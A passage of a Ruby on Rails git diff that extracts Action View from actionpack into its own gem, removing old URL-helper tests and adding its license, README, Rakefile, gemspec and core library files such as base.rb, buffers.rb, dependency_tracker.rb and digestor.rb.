- get :show_named_route, kind: 'path'
- assert_equal '/url_helper_controller_test/url_helper/show_named_route', @response.body
- end
-
- def test_url_for_nil_returns_current_path
- get :nil_url_for
- assert_equal '/url_helper_controller_test/url_helper/nil_url_for', @response.body
- end
-
- def test_named_route_should_show_host_and_path_using_controller_default_url_options
- class << @controller
- def default_url_options
- { host: 'testtwo.host' }
- end
- end
-
- get :show_named_route, kind: 'url'
- assert_equal 'http://testtwo.host/url_helper_controller_test/url_helper/show_named_route', @response.body
- end
-
- def test_recall_params_should_be_normalized
- get :normalize_recall_params
- assert_equal '/url_helper_controller_test/url_helper/normalize_recall_params', @response.body
- end
-
- def test_recall_params_should_not_be_changed
- get :recall_params_not_changed
- assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
- end
-
- def test_recall_params_should_normalize_id
- get :show, id: '123'
- assert_equal 302, @response.status
- assert_equal 'http://test.host/url_helper_controller_test/url_helper/profile/123', @response.location
-
- get :show, name: '123'
- assert_equal 'ok', @response.body
- end
-
- def test_url_helper_can_be_overriden
- get :override_url_helper
- assert_equal '/url_helper_controller_test/url_helper/override_url_helper/override', @response.body
- end
-end
-
-class TasksController < ActionController::Base
- test_routes do
- resources :tasks
- end
-
- def index
- render_default
- end
-
- def show
- render_default
- end
-
- protected
- def render_default
- render inline: "<%= link_to_unless_current('tasks', tasks_path) %>\n" +
- "<%= link_to_unless_current('tasks', tasks_url) %>"
- end
-end
-
-class LinkToUnlessCurrentWithControllerTest < ActionController::TestCase
- tests TasksController
-
- def test_link_to_unless_current_to_current
- get :index
- assert_equal "tasks\ntasks", @response.body
- end
-
- def test_link_to_unless_current_shows_link
- get :show, id: 1
- assert_equal %{<a href="/tasks">tasks</a>\n} +
- %{<a href="#{@request.protocol}#{@request.host_with_port}/tasks">tasks</a>},
- @response.body
- end
-end
-
-class Session
- extend ActiveModel::Naming
- include ActiveModel::Conversion
- attr_accessor :id, :workshop_id
-
- def initialize(id)
- @id = id
- end
-
- def persisted?
- id.present?
- end
-
- def to_s
- id.to_s
- end
-end
-
-class WorkshopsController < ActionController::Base
- test_routes do
- resources :workshops do
- resources :sessions
- end
- end
-
- def index
- @workshop = Workshop.new(nil)
- render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
- end
-
- def show
- @workshop = Workshop.new(params[:id])
- render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
- end
-end
-
-class SessionsController < ActionController::Base
- test_routes do
- resources :workshops do
- resources :sessions
- end
- end
-
- def index
- @workshop = Workshop.new(params[:workshop_id])
- @session = Session.new(nil)
- render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
- end
-
- def show
- @workshop = Workshop.new(params[:workshop_id])
- @session = Session.new(params[:id])
- render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
- end
-end
-
-class PolymorphicControllerTest < ActionController::TestCase
- def test_new_resource
- @controller = WorkshopsController.new
-
- get :index
- assert_equal %{/workshops\n<a href="/workshops">Workshop</a>}, @response.body
- end
-
- def test_existing_resource
- @controller = WorkshopsController.new
-
- get :show, id: 1
- assert_equal %{/workshops/1\n<a href="/workshops/1">Workshop</a>}, @response.body
- end
-
- def test_new_nested_resource
- @controller = SessionsController.new
-
- get :index, workshop_id: 1
- assert_equal %{/workshops/1/sessions\n<a href="/workshops/1/sessions">Session</a>}, @response.body
- end
-
- def test_existing_nested_resource
- @controller = SessionsController.new
-
- get :show, workshop_id: 1, id: 1
- assert_equal %{/workshops/1/sessions/1\n<a href="/workshops/1/sessions/1">Session</a>}, @response.body
- end
-end
diff --git a/actionpack/test/ts_isolated.rb b/actionpack/test/ts_isolated.rb
deleted file mode 100644
index c44c5d8968..0000000000
--- a/actionpack/test/ts_isolated.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'minitest/autorun'
-require 'rbconfig'
-require 'abstract_unit'
-
-class TestIsolated < ActiveSupport::TestCase
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
-
- Dir["#{File.dirname(__FILE__)}/{abstract,controller,dispatch,template}/**/*_test.rb"].each do |file|
- define_method("test #{file}") do
- command = "#{ruby} -Ilib:test #{file}"
- result = silence_stderr { `#{command}` }
- assert $?.to_i.zero?, "#{command}\n#{result}"
- end
- end
-end
diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md
new file mode 100644
index 0000000000..729717608f
--- /dev/null
+++ b/actionview/CHANGELOG.md
@@ -0,0 +1 @@
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md) for previous changes.
diff --git a/actionview/MIT-LICENSE b/actionview/MIT-LICENSE
new file mode 100644
index 0000000000..d58dd9ed9b
--- /dev/null
+++ b/actionview/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2014 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/actionview/README.rdoc b/actionview/README.rdoc
new file mode 100644
index 0000000000..5bb62c7562
--- /dev/null
+++ b/actionview/README.rdoc
@@ -0,0 +1,39 @@
+= Action View
+
+Action View is a framework for handling view template lookup and rendering, and provides
+view helpers that assist when building HTML forms, Atom feeds and more.
+Template formats that Action View handles are ERB (embedded Ruby, typically
+used to inline short Ruby snippets inside HTML), and XML Builder.
+
+== Download and installation
+
+The latest version of Action View can be installed with RubyGems:
+
+ % [sudo] gem install actionview
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/actionview
+
+
+== License
+
+Action View is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/actionview/RUNNING_UNIT_TESTS.rdoc b/actionview/RUNNING_UNIT_TESTS.rdoc
new file mode 100644
index 0000000000..6c4e5e983a
--- /dev/null
+++ b/actionview/RUNNING_UNIT_TESTS.rdoc
@@ -0,0 +1,27 @@
+== Running with Rake
+
+The easiest way to run the unit tests is through Rake. The default task runs
+the entire test suite for all classes. For more information, checkout the
+full array of rake tasks with "rake -T"
+
+Rake can be found at http://docs.seattlerb.org/rake/.
+
+== Running by hand
+
+To run a single test suite
+
+ rake test TEST=path/to/test.rb
+
+which can be further narrowed down to one test:
+
+ rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
+
+== Dependency on Active Record and database setup
+
+Test cases in the test/activerecord/ directory depend on having
+activerecord and sqlite3 installed. If Active Record is not in
+actionview/../activerecord directory, or the sqlite3 rubygem is not installed,
+these tests are skipped.
+
+Other tests are runnable from a fresh copy of actionview without any configuration.
+
diff --git a/actionview/Rakefile b/actionview/Rakefile
new file mode 100644
index 0000000000..1b71435948
--- /dev/null
+++ b/actionview/Rakefile
@@ -0,0 +1,83 @@
+require 'rake/testtask'
+require 'rubygems/package_task'
+
+desc "Default Task"
+task :default => :test
+
+# Run the unit tests
+
+desc "Run all unit tests"
+task :test => ["test:template", "test:integration:action_pack", "test:integration:active_record"]
+
+namespace :test do
+ task :isolated do
+ Dir.glob("test/{actionpack,activerecord,template}/**/*_test.rb").all? do |file|
+ sh(Gem.ruby, '-w', '-Ilib:test', file)
+ end or raise "Failures"
+ end
+
+ Rake::TestTask.new(:template) do |t|
+ t.libs << 'test'
+ t.test_files = Dir.glob('test/template/**/*_test.rb').sort
+ t.warning = true
+ t.verbose = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+ end
+
+ namespace :integration do
+ desc 'ActiveRecord Integration Tests'
+ Rake::TestTask.new(:active_record) do |t|
+ t.libs << 'test'
+ t.test_files = Dir.glob("test/activerecord/*_test.rb")
+ t.warning = true
+ t.verbose = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+ end
+
+ desc 'ActionPack Integration Tests'
+ Rake::TestTask.new(:action_pack) do |t|
+ t.libs << 'test'
+ t.test_files = Dir.glob("test/actionpack/**/*_test.rb")
+ t.warning = true
+ t.verbose = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+ end
+ end
+end
+
+spec = eval(File.read('actionview.gemspec'))
+
+Gem::PackageTask.new(spec) do |p|
+ p.gem_spec = spec
+end
+
+desc "Release to rubygems"
+task :release => :package do
+ require 'rake/gemcutter'
+ Rake::Gemcutter::Tasks.new(spec).define
+ Rake::Task['gem:push'].invoke
+end
+
+task :lines do
+ lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+ FileList["lib/**/*.rb"].each do |file_name|
+ next if file_name =~ /vendor/
+ File.open(file_name, 'r') do |f|
+ while line = f.gets
+ lines += 1
+ next if line =~ /^\s*$/
+ next if line =~ /^\s*#/
+ codelines += 1
+ end
+ end
+ puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+
+ total_lines += lines
+ total_codelines += codelines
+
+ lines, codelines = 0, 0
+ end
+
+ puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+end
diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec
new file mode 100644
index 0000000000..fd4ffea33d
--- /dev/null
+++ b/actionview/actionview.gemspec
@@ -0,0 +1,31 @@
+version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'actionview'
+ s.version = version
+ s.summary = 'Rendering framework putting the V in MVC (part of Rails).'
+ s.description = 'Simple, battle-tested conventions and helpers for building web pages.'
+
+ s.required_ruby_version = '>= 2.1.0'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david@loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*']
+ s.require_path = 'lib'
+ s.requirements << 'none'
+
+ s.add_dependency 'activesupport', version
+
+ s.add_dependency 'builder', '~> 3.1'
+ s.add_dependency 'erubis', '~> 2.7.0'
+ s.add_dependency 'rails-html-sanitizer', '~> 1.0', '>= 1.0.1'
+ s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5'
+
+ s.add_development_dependency 'actionpack', version
+ s.add_development_dependency 'activemodel', version
+end
diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb
new file mode 100644
index 0000000000..6a1837c6e2
--- /dev/null
+++ b/actionview/lib/action_view.rb
@@ -0,0 +1,96 @@
+#--
+# Copyright (c) 2004-2014 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support'
+require 'active_support/rails'
+require 'action_view/version'
+
+module ActionView
+ extend ActiveSupport::Autoload
+
+ ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
+
+ eager_autoload do
+ autoload :Base
+ autoload :Context
+ autoload :CompiledTemplates, "action_view/context"
+ autoload :Digestor
+ autoload :Helpers
+ autoload :LookupContext
+ autoload :Layouts
+ autoload :PathSet
+ autoload :RecordIdentifier
+ autoload :Rendering
+ autoload :RoutingUrlFor
+ autoload :Template
+ autoload :ViewPaths
+
+ autoload_under "renderer" do
+ autoload :Renderer
+ autoload :AbstractRenderer
+ autoload :PartialRenderer
+ autoload :TemplateRenderer
+ autoload :StreamingTemplateRenderer
+ end
+
+ autoload_at "action_view/template/resolver" do
+ autoload :Resolver
+ autoload :PathResolver
+ autoload :OptimizedFileSystemResolver
+ autoload :FallbackFileSystemResolver
+ end
+
+ autoload_at "action_view/buffers" do
+ autoload :OutputBuffer
+ autoload :StreamingBuffer
+ end
+
+ autoload_at "action_view/flows" do
+ autoload :OutputFlow
+ autoload :StreamingFlow
+ end
+
+ autoload_at "action_view/template/error" do
+ autoload :MissingTemplate
+ autoload :ActionViewError
+ autoload :EncodingError
+ autoload :MissingRequestError
+ autoload :TemplateError
+ autoload :WrongEncodingError
+ end
+ end
+
+ autoload :TestCase
+
+ def self.eager_load!
+ super
+ ActionView::Helpers.eager_load!
+ ActionView::Template.eager_load!
+ end
+end
+
+require 'active_support/core_ext/string/output_safety'
+
+ActiveSupport.on_load(:i18n) do
+ I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
+end
diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb
new file mode 100644
index 0000000000..1feafc1094
--- /dev/null
+++ b/actionview/lib/action_view/base.rb
@@ -0,0 +1,205 @@
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/ordered_options'
+require 'action_view/log_subscriber'
+require 'action_view/helpers'
+require 'action_view/context'
+require 'action_view/template'
+require 'action_view/lookup_context'
+
+module ActionView #:nodoc:
+ # = Action View Base
+ #
+ # Action View templates can be written in several ways.
+ # If the template file has a <tt>.erb</tt> extension, then it uses the erubis[https://rubygems.org/gems/erubis]
+ # template system which can embed Ruby into an HTML document.
+ # If the template file has a <tt>.builder</tt> extension, then Jim Weirich's Builder::XmlMarkup library is used.
+ #
+ # == ERB
+ #
+ # You trigger ERB by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the
+ # following loop for names:
+ #
+ # <b>Names of all the people</b>
+ # <% @people.each do |person| %>
+ # Name: <%= person.name %><br/>
+ # <% end %>
+ #
+ # The loop is setup in regular embedding tags <% %> and the name is written using the output embedding tag <%= %>. Note that this
+ # is not just a usage suggestion. Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
+ #
+ # <%# WRONG %>
+ # Hi, Mr. <% puts "Frodo" %>
+ #
+ # If you absolutely must write from within a function use +concat+.
+ #
+ # When on a line that only contains whitespaces except for the tag, <% %> suppress leading and trailing whitespace,
+ # including the trailing newline. <% %> and <%- -%> are the same.
+ # Note however that <%= %> and <%= -%> are different: only the latter removes trailing whitespaces.
+ #
+ # === Using sub templates
+ #
+ # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
+ # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
+ #
+ # <%= render "shared/header" %>
+ # Something really specific and terrific
+ # <%= render "shared/footer" %>
+ #
+ # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
+ # result of the rendering. The output embedding writes it to the current template.
+ #
+ # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
+ # variables defined using the regular embedding tags. Like this:
+ #
+ # <% @page_title = "A Wonderful Hello" %>
+ # <%= render "shared/header" %>
+ #
+ # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
+ #
+ # <title><%= @page_title %></title>
+ #
+ # === Passing local variables to sub templates
+ #
+ # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
+ #
+ # <%= render "shared/header", { headline: "Welcome", person: person } %>
+ #
+ # These can now be accessed in <tt>shared/header</tt> with:
+ #
+ # Headline: <%= headline %>
+ # First name: <%= person.first_name %>
+ #
+ # === Template caching
+ #
+ # By default, Rails will compile each template to a method in order to render it. When you alter a template,
+ # Rails will check the file's modification time and recompile it in development mode.
+ #
+ # == Builder
+ #
+ # Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object
+ # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
+ #
+ # Here are some basic examples:
+ #
+ # xml.em("emphasized") # => <em>emphasized</em>
+ # xml.em { xml.b("emph & bold") } # => <em><b>emph &amp; bold</b></em>
+ # xml.a("A Link", "href" => "http://onestepback.org") # => <a href="http://onestepback.org">A Link</a>
+ # xml.target("name" => "compile", "option" => "fast") # => <target option="fast" name="compile"\>
+ # # NOTE: order of attributes is not specified.
+ #
+ # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+ #
+ # xml.div do
+ # xml.h1(@person.name)
+ # xml.p(@person.bio)
+ # end
+ #
+ # would produce something like:
+ #
+ # <div>
+ # <h1>David Heinemeier Hansson</h1>
+ # <p>A product of Danish Design during the Winter of '79...</p>
+ # </div>
+ #
+ # A full-length RSS example actually used on Basecamp:
+ #
+ # xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+ # xml.channel do
+ # xml.title(@feed_title)
+ # xml.link(@url)
+ # xml.description "Basecamp: Recent items"
+ # xml.language "en-us"
+ # xml.ttl "40"
+ #
+ # @recent_items.each do |item|
+ # xml.item do
+ # xml.title(item_title(item))
+ # xml.description(item_description(item)) if item_description(item)
+ # xml.pubDate(item_pubDate(item))
+ # xml.guid(@person.firm.account.url + @recent_items.url(item))
+ # xml.link(@person.firm.account.url + @recent_items.url(item))
+ #
+ # xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+ # end
+ # end
+ # end
+ # end
+ #
+ # For more information on Builder please consult the {source
+ # code}[https://github.com/jimweirich/builder].
+ class Base
+ include Helpers, ::ERB::Util, Context
+
+ # Specify the proc used to decorate input tags that refer to attributes with errors.
+ cattr_accessor :field_error_proc
+ @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"field_with_errors\">#{html_tag}</div>".html_safe }
+
+ # How to complete the streaming when an exception occurs.
+ # This is our best guess: first try to close the attribute, then the tag.
+ cattr_accessor :streaming_completion_on_exception
+ @@streaming_completion_on_exception = %("><script>window.location = "/500.html"</script></html>)
+
+ # Specify whether rendering within namespaced controllers should prefix
+ # the partial paths for ActiveModel objects with the namespace.
+ # (e.g., an Admin::PostsController would render @post using /admin/posts/_post.erb)
+ cattr_accessor :prefix_partial_path_with_controller_namespace
+ @@prefix_partial_path_with_controller_namespace = true
+
+ # Specify default_formats that can be rendered.
+ cattr_accessor :default_formats
+
+ # Specify whether an error should be raised for missing translations
+ cattr_accessor :raise_on_missing_translations
+ @@raise_on_missing_translations = false
+
+ class_attribute :_routes
+ class_attribute :logger
+
+ class << self
+ delegate :erb_trim_mode=, :to => 'ActionView::Template::Handlers::ERB'
+
+ def cache_template_loading
+ ActionView::Resolver.caching?
+ end
+
+ def cache_template_loading=(value)
+ ActionView::Resolver.caching = value
+ end
+
+ def xss_safe? #:nodoc:
+ true
+ end
+ end
+
+ attr_accessor :view_renderer
+ attr_internal :config, :assigns
+
+ delegate :lookup_context, :to => :view_renderer
+ delegate :formats, :formats=, :locale, :locale=, :view_paths, :view_paths=, :to => :lookup_context
+
+ def assign(new_assigns) # :nodoc:
+ @_assigns = new_assigns.each { |key, value| instance_variable_set("@#{key}", value) }
+ end
+
+ def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc:
+ @_config = ActiveSupport::InheritableOptions.new
+
+ if context.is_a?(ActionView::Renderer)
+ @view_renderer = context
+ else
+ lookup_context = context.is_a?(ActionView::LookupContext) ?
+ context : ActionView::LookupContext.new(context)
+ lookup_context.formats = formats if formats
+ lookup_context.prefixes = controller._prefixes if controller
+ @view_renderer = ActionView::Renderer.new(lookup_context)
+ end
+
+ assign(assigns)
+ assign_controller(controller)
+ _prepare_context
+ end
+
+ ActiveSupport.run_load_hooks(:action_view, self)
+ end
+end
diff --git a/actionview/lib/action_view/buffers.rb b/actionview/lib/action_view/buffers.rb
new file mode 100644
index 0000000000..be5d86b1dc
--- /dev/null
+++ b/actionview/lib/action_view/buffers.rb
@@ -0,0 +1,50 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+ class OutputBuffer < ActiveSupport::SafeBuffer #:nodoc:
+ def initialize(*)
+ super
+ encode!
+ end
+
+ def <<(value)
+ return self if value.nil?
+ super(value.to_s)
+ end
+ alias :append= :<<
+
+ def safe_expr_append=(val)
+ return self if val.nil?
+ safe_concat val.to_s
+ end
+
+ alias :safe_append= :safe_concat
+ end
+
+ class StreamingBuffer #:nodoc:
+ def initialize(block)
+ @block = block
+ end
+
+ def <<(value)
+ value = value.to_s
+ value = ERB::Util.h(value) unless value.html_safe?
+ @block.call(value)
+ end
+ alias :concat :<<
+ alias :append= :<<
+
+ def safe_concat(value)
+ @block.call(value.to_s)
+ end
+ alias :safe_append= :safe_concat
+
+ def html_safe?
+ true
+ end
+
+ def html_safe
+ self
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/context.rb b/actionview/lib/action_view/context.rb
index ee263df484..ee263df484 100644
--- a/actionpack/lib/action_view/context.rb
+++ b/actionview/lib/action_view/context.rb
diff --git a/actionview/lib/action_view/dependency_tracker.rb b/actionview/lib/action_view/dependency_tracker.rb
new file mode 100644
index 0000000000..e34bdd4a46
--- /dev/null
+++ b/actionview/lib/action_view/dependency_tracker.rb
@@ -0,0 +1,141 @@
+require 'thread_safe'
+
+module ActionView
+ class DependencyTracker # :nodoc:
+ @trackers = ThreadSafe::Cache.new
+
+ def self.find_dependencies(name, template)
+ tracker = @trackers[template.handler]
+
+ if tracker.present?
+ tracker.call(name, template)
+ else
+ []
+ end
+ end
+
+ def self.register_tracker(extension, tracker)
+ handler = Template.handler_for_extension(extension)
+ @trackers[handler] = tracker
+ end
+
+ def self.remove_tracker(handler)
+ @trackers.delete(handler)
+ end
+
+ class ERBTracker # :nodoc:
+ EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
+
+ # A valid ruby identifier - suitable for class, method and specially variable names
+ IDENTIFIER = /
+ [[:alpha:]_] # at least one uppercase letter, lowercase letter or underscore
+ [[:word:]]* # followed by optional letters, numbers or underscores
+ /x
+
+ # Any kind of variable name. e.g. @instance, @@class, $global or local.
+ # Possibly following a method call chain
+ VARIABLE_OR_METHOD_CHAIN = /
+ (?:\$|@{1,2})? # optional global, instance or class variable indicator
+ (?:#{IDENTIFIER}\.)* # followed by an optional chain of zero-argument method calls
+ (?<dynamic>#{IDENTIFIER}) # and a final valid identifier, captured as DYNAMIC
+ /x
+
+ # A simple string literal. e.g. "School's out!"
+ STRING = /
+ (?<quote>['"]) # an opening quote
+ (?<static>.*?) # with anything inside, captured as STATIC
+ \k<quote> # and a matching closing quote
+ /x
+
+ # Part of any hash containing the :partial key
+ PARTIAL_HASH_KEY = /
+ (?:\bpartial:|:partial\s*=>) # partial key in either old or new style hash syntax
+ \s* # followed by optional spaces
+ /x
+
+ # Part of any hash containing the :layout key
+ LAYOUT_HASH_KEY = /
+ (?:\blayout:|:layout\s*=>) # layout key in either old or new style hash syntax
+ \s* # followed by optional spaces
+ /x
+
+ # Matches:
+ # partial: "comments/comment", collection: @all_comments => "comments/comment"
+ # (object: @single_comment, partial: "comments/comment") => "comments/comment"
+ #
+ # "comments/comments"
+ # 'comments/comments'
+ # ('comments/comments')
+ #
+ # (@topic) => "topics/topic"
+ # topics => "topics/topic"
+ # (message.topics) => "topics/topic"
+ RENDER_ARGUMENTS = /\A
+ (?:\s*\(?\s*) # optional opening paren surrounded by spaces
+ (?:.*?#{PARTIAL_HASH_KEY}|#{LAYOUT_HASH_KEY})? # optional hash, up to the partial or layout key declaration
+ (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN}) # finally, the dependency name of interest
+ /xm
+
+ def self.call(name, template)
+ new(name, template).dependencies
+ end
+
+ def initialize(name, template)
+ @name, @template = name, template
+ end
+
+ def dependencies
+ render_dependencies + explicit_dependencies
+ end
+
+ attr_reader :name, :template
+ private :name, :template
+
+
+ private
+ def source
+ template.source
+ end
+
+ def directory
+ name.split("/")[0..-2].join("/")
+ end
+
+ def render_dependencies
+ render_dependencies = []
+ render_calls = source.split(/\brender\b/).drop(1)
+
+ render_calls.each do |arguments|
+ arguments.scan(RENDER_ARGUMENTS) do
+ add_dynamic_dependency(render_dependencies, Regexp.last_match[:dynamic])
+ add_static_dependency(render_dependencies, Regexp.last_match[:static])
+ end
+ end
+
+ render_dependencies.uniq
+ end
+
+ def add_dynamic_dependency(dependencies, dependency)
+ if dependency
+ dependencies << "#{dependency.pluralize}/#{dependency.singularize}"
+ end
+ end
+
+ def add_static_dependency(dependencies, dependency)
+ if dependency
+ if dependency.include?('/')
+ dependencies << dependency
+ else
+ dependencies << "#{directory}/#{dependency}"
+ end
+ end
+ end
+
+ def explicit_dependencies
+ source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
+ end
+ end
+
+ register_tracker :erb, ERBTracker
+ end
+end
diff --git a/actionview/lib/action_view/digestor.rb b/actionview/lib/action_view/digestor.rb
new file mode 100644
index 0000000000..1f103786cb
--- /dev/null
+++ b/actionview/lib/action_view/digestor.rb
@@ -0,0 +1,122 @@
+require 'thread_safe'
+require 'action_view/dependency_tracker'
+require 'monitor'
+
+module ActionView
+ class Digestor
+ cattr_reader(:cache)
+ @@cache = ThreadSafe::Cache.new
+ @@digest_monitor = Monitor.new
+
+ class << self
+ # Supported options:
+ #
+ # * <tt>name</tt> - Template name
+ # * <tt>finder</tt> - An instance of ActionView::LookupContext
+ # * <tt>dependencies</tt> - An array of dependent views
+ # * <tt>partial</tt> - Specifies whether the template is a partial
+ def digest(options)
+ options.assert_valid_keys(:name, :finder, :dependencies, :partial)
+
+ cache_key = ([ options[:name], options[:finder].details_key.hash ].compact + Array.wrap(options[:dependencies])).join('.')
+
+ # this is a correctly done double-checked locking idiom
+ # (ThreadSafe::Cache's lookups have volatile semantics)
+ @@cache[cache_key] || @@digest_monitor.synchronize do
+ @@cache.fetch(cache_key) do # re-check under lock
+ compute_and_store_digest(cache_key, options)
+ end
+ end
+ end
+
+ private
+ def compute_and_store_digest(cache_key, options) # called under @@digest_monitor lock
+ klass = if options[:partial] || options[:name].include?("/_")
+ # Prevent re-entry or else recursive templates will blow the stack.
+ # There is no need to worry about other threads seeing the +false+ value,
+ # as they will then have to wait for this thread to let go of the @@digest_monitor lock.
+ pre_stored = @@cache.put_if_absent(cache_key, false).nil? # put_if_absent returns nil on insertion
+ PartialDigestor
+ else
+ Digestor
+ end
+
+ digest = klass.new(options).digest
+ # Store the actual digest if config.cache_template_loading is true
+ @@cache[cache_key] = stored_digest = digest if ActionView::Resolver.caching?
+ digest
+ ensure
+ # something went wrong or ActionView::Resolver.caching? is false, make sure not to corrupt the @@cache
+ @@cache.delete_pair(cache_key, false) if pre_stored && !stored_digest
+ end
+ end
+
+ attr_reader :name, :finder, :options
+
+ def initialize(options)
+ @name, @finder = options.values_at(:name, :finder)
+ @options = options.except(:name, :finder)
+ end
+
+ def digest
+ Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest|
+ logger.try :debug, " Cache digest for #{template.inspect}: #{digest}"
+ end
+ rescue ActionView::MissingTemplate
+ logger.try :error, " Couldn't find template for digesting: #{name}"
+ ''
+ end
+
+ def dependencies
+ DependencyTracker.find_dependencies(name, template)
+ rescue ActionView::MissingTemplate
+ [] # File doesn't exist, so no dependencies
+ end
+
+ def nested_dependencies
+ dependencies.collect do |dependency|
+ dependencies = PartialDigestor.new(name: dependency, finder: finder).nested_dependencies
+ dependencies.any? ? { dependency => dependencies } : dependency
+ end
+ end
+
+ private
+ def logger
+ ActionView::Base.logger
+ end
+
+ def logical_name
+ name.gsub(%r|/_|, "/")
+ end
+
+ def partial?
+ false
+ end
+
+ def template
+ @template ||= finder.disable_cache { finder.find(logical_name, [], partial?) }
+ end
+
+ def source
+ template.source
+ end
+
+ def dependency_digest
+ template_digests = dependencies.collect do |template_name|
+ Digestor.digest(name: template_name, finder: finder, partial: true)
+ end
+
+ (template_digests + injected_dependencies).join("-")
+ end
+
+ def injected_dependencies
+ Array.wrap(options[:dependencies])
+ end
+ end
+
+ class PartialDigestor < Digestor # :nodoc:
+ def partial?
+ true
+ end
+ end
+end
diff --git a/actionview/lib/action_view/flows.rb b/actionview/lib/action_view/flows.rb
new file mode 100644
index 0000000000..ba24510e56
--- /dev/null
